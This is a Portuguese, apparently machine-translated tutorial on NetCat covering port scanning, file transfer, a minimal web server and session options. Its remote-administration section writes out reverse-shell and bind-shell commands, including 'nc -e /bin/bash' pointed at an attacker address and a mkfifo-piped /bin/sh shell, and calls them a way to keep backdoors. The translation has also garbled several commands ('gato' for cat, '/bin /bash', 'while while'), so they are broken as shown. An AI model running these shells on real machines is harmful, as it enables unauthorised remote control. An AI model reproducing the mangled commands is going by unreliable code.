NetCat - Uso da faca do exército suíço

NetCat - Uso da faca do exército suíço
O NetCat é um utilitário usado para ler e escrever dados entre as portas TCP e UDP. Ele pode ser usado para muitas coisas legais, como transferência de arquivos, digitalização portuária, redirecionamento de portas, backdooring, PC de outra pessoa, criando um programa simples de bate -papo, para solução de problemas de rede e muito mais, é por isso que é conhecido como faca do exército suíço. Também é pré-instalado com quase todas as distribuições Linux hoje em dia e é usado principalmente por administradores de rede, DevOps e engenheiros de segurança para suas pequenas tarefas diárias.

Uma breve diferença entre o NetCat-tradicional e o NetCat-OpenBSD

Existem dois pacotes semelhantes disponíveis para o NetCat com uma pequena diferença entre eles.

NetCat-tradicional Inclui uma opção '-e' adicional que pode ser usada para vincular um programa (i.e Bash) com netcat. Este recurso é muito útil para fins de administração remota.

netcat-openbsd tem algum suporte adicional para IPv6 e proxies.

Instalação do NetCat

Embora o NetCat seja pré-instalado na maioria das distribuições Linux, mas se não for, ele pode ser instalado facilmente usando os seguintes comandos.

Para pacote tradicional,

ubuntu@ubuntu: ~ $ sudo apt-get install netcat-tradicional

Para versão OpenBSD,

ubuntu@ubuntu: ~ $ sudo apt-get install netcat-openbsd

NetCat for Windows pode ser baixado daqui https: // fonteforge.net/projetos/nc110/arquivos/.

Agora vamos explorar alguns casos de uso interessantes de netcat

Digitalização de porta usando NetCat

Para procurar portas abertas, use a opção '-z'. O NetCat tentará se conectar a todas as portas sem enviar dados ou dados muito limitados no caso UDP. Digite o seguinte

ubuntu@ubuntu: ~ $ nc -z -v hackme.org 80
… Snip…
hackme.org [217.78.1.155] 80 (http) aberto

Para digitalizar uma variedade de portas, digite

ubuntu@ubuntu: ~ $ nc -z -nv 192.168.100.72 20-80
(Desconhecido) [192.168.100.72] 80 (http) aberto
(Desconhecido) [192.168.100.72] 22 (ssh) aberto

Transferência de arquivos com netcat

Outro caso de uso útil do NetCat é a transferência de arquivos entre computadores remotos. Você pode enviar textos e arquivos binários de um PC para outro PC. Tentaremos enviar um arquivo “arquivo.PDF ”do Linux PC ao Windows PC [IP 192.168.100.72] usando o netcat como exemplo.

Na máquina Windows (receptor), digite o seguinte

C: \ Usuários> NC -NVLP 1337> Arquivo.pdf
Ouvindo em [0.0.0.0] (Família 2, porta 1337)

Na máquina Linux (remetente), digite o seguinte

ubuntu@ubuntu: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Conexão com 192.168.100.72 1337 porta [TCP/*] conseguiu!

Administração remota com netcat

Um dos melhores casos de uso do NetCat é a administração remota, isso significa que você pode controlar o PC de outra pessoa usando o NetCat. NetCat-Trraditional vem com a opção '-e' que pode ser usada para vincular um programa (i.e cmd.exe no Windows ou Bash no Linux) com uma porta, isso significa que o NetCat atuará como comunicador entre o programa e o PC remoto. O NetCat receberá comandos do PC remoto, executará no sistema local e enviará os resultados de volta ao PC remoto. Esse recurso é amplamente utilizado para fins maliciosos, para manter backdoors em PCs e servidores. Esse recurso está disponível apenas no NetCat-tradicional, mas com um pequeno truque, o NetCat-OpenBSD também pode ser usado para o mesmo objetivo. Você pode usar duas maneiras de controlar o PC de outras pessoas.

Em um Casca reversa Conexão, um atacante ouve em uma porta e aguarda que uma conexão seja enviada da máquina da vítima. É usado quando o computador da vítima está atrás do NAT ou não tem IP público.

Para obter um shell reverso usando o netcat, você precisa ouvir em uma porta usando o netcat. Digite o seguinte na máquina de atacante,

ubuntu@ubuntu: ~ $ nc -nvlp 1337
Ouvindo em [0.0.0.0] (Família 2, porta 1337)

Na máquina de vítimas (se NetCat-tradicional está instalado)

// Substitua “/bin/bash” por “cmd.exe ”em caso de janelas

ubuntu@ubuntu: ~ $ nc -nv [ip_addr] 1337 -e /bin /bash

Para netcat-openbsd (onde a opção “-e” não é suportada)

ubuntu@ubuntu: ~ $ rm /tmp /f; mkfifo /tmp /f; gato
/tmp/f |/bin/sh -i 2> & 1 | nc [ip_addr] 1337>/tmp/f

Enquanto em um Liga a concha Conexão, o invasor liga uma porta na máquina da vítima e se conecta a essa porta usando soquete do cliente. É usado quando a máquina do atacante está atrás do NAT ou não tem um IP público.

Na máquina de vítimas, digite

ubuntu@ubuntu: ~ $ nc -nlvp 1337 -e /bin /bash
Ouvindo [qualquer] 1337…

Agora, para executar comandos na máquina da vítima, digite

ubuntu@ubuntu: ~ $ nc -nv 127.0.0.1 1337
Conexão com 127.0.0.1 1337 porta [tcp/*] conseguiu!
$ id
UID = 1000 (Azad) Gid = 1000 (Azad) Grupos = 1000 (Azad), 4 (ADM), 24 (CDROM), 27 (sudo),
30 (DIP), 46 (Plugdev), 118 (lpadmin), 129 (Sambashare)

Servidor web simples usando o netcat

Você também pode fazer outro truque simples para usar o NetCat como servidor web mínimo de página única. Este servidor da web seria muito simples, sem configurações especiais, e usaremos o nosso código HTML para o navegador.

ubuntu@ubuntu: ~ $ while while; ECHO -E "HTTP/1.1 200 ok \ n \ n $ (echo "


Meu servidor da web simples usando o netcat

")" | NC -NVLP 1337; feito
Ouvindo em [0.0.0.0] (Família 2, porta 1337)

Agora, tente buscar a página da web usando Curl

Ubuntu@ubuntu: ~ $ Curl http: // 127.0.0.1: 1337/

Meu servidor da web simples usando o netcat

Especifique o tempo limite para uma sessão do NetCat

Você pode especificar o tempo limite para uma sessão do NetCat usando a opção "-w". O NetCat desconectará automaticamente sua sessão após o tempo especificado.

// -w [tempo em segundos]
ubuntu@ubuntu: ~ $ nc -W 40 -NVLP 1337
Ouvindo em [0.0.0.0] (Família 2, porta 1234)

Continue ouvindo mesmo se o cliente fechar a conexão

No modo normal, o servidor NetCat é desligado e pare de ouvir na porta quando um cliente fecha a conexão. Você pode manter o servidor usando a opção "-k"

ubuntu@ubuntu: ~ $ nc -k -nlvp 1234
Ouvindo em [0.0.0.0] (Família 2, porta 1234)

Conclusão

NetCat é uma utilidade simples, mas eficiente, que pode ser usada para muitas tarefas diárias simples. Ele vem pré-instalado em quase todos os sistemas operacionais do UNIX e pode ser usado para várias tarefas, como comunicação entre dois PCs, transferência de arquivos e muito mais.